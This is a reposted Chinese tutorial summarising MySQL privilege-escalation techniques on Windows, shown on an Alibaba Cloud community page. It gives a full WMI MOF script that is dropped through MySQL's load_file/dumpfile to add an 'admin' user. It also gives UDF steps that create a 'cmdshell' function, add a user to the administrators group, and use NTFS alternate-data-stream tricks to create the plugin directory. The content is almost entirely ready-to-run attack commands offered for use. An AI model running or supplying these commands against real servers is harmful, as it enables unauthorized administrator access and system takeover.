mysql 提權總結

來源:互聯網
上載者:User

標籤:檔案   open   consumer   lte   安裝   rto   pac   load   query   

1.MOF提權

簡單的說mof就是系統內部的一個程式,每隔一定時間系統就會以root許可權去執行,我們將其替換然後執行我們的而已攻擊代碼。此舉稱之為mof提權。

以下便是指令碼:

 1 #pragma namespace("\\\\.\\root\\subscription")  2  3 instance of __EventFilter as $EventFilter  4 {  5     EventNamespace = "Root\\Cimv2";  6     Name  = "filtP2";  7     Query = "Select * From __InstanceModificationEvent "  8             "Where TargetInstance Isa \"Win32_LocalTime\" "  9             "And TargetInstance.Second = 5"; 10     QueryLanguage = "WQL"; 11 }; 12 13 instance of ActiveScriptEventConsumer as $Consumer 14 { 15     Name = "consPCSV2"; 16     ScriptingEngine = "JScript"; 17     ScriptText = 18     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 19 }; 20 21 instance of __FilterToConsumerBinding 22 { 23     Consumer   = $Consumer; 24     Filter = $EventFilter; 25 };

 儲存為a.mof然後找一個可寫目錄上傳a.mof,使用MySQL執行:select load_file(‘D:\wamp\a.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘;

即可提權成功。PS:添加的帳號密碼在指令碼裡。

2.UDF提權

 0x01

首先需要判斷版本。且在匯出dll的時候需要多加一個斜杠

mysql版本 < 5.2 , UDF匯出到系統目錄c:/windows/system32/

mysql版本 > 5.2 ,UDF匯出到安裝路徑MySQL\Lib\Plugin\   一般情況下是大於5.2的,而預設情況下[Plugin]目錄也是不存在的。可以通過菜刀建立,如若不行可以通過0x03的NTFS流建立。

0x02

  建立cmdshell函數

create function cmdshell returns string soname ‘udf.dll‘;

select cmdshell(‘net user waitalone waitalone.cn /add‘);

select cmdshell(‘net localgroup administrators waitalone /add‘);

drop function cmdshell; 刪除函數

delete from mysql.func where name=‘cmdshell‘  刪除函數

0x03

在預設情況下會遇到Can‘t open shared library也就是檔案夾問題,需要建立一剛開始說的檔案夾,可以菜刀裡直接建立,如若不行,可以通過NTFS建立。

尋找到mysql的目錄:select @@basedir;

利用NTFS ADS建立lib目錄:select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘;   

利用NTFS ADS建立plugin目錄:select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;

然後匯出以後就再建立函數通過函數來執行cmd即可。

 

 

 

mysql 提權總結

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.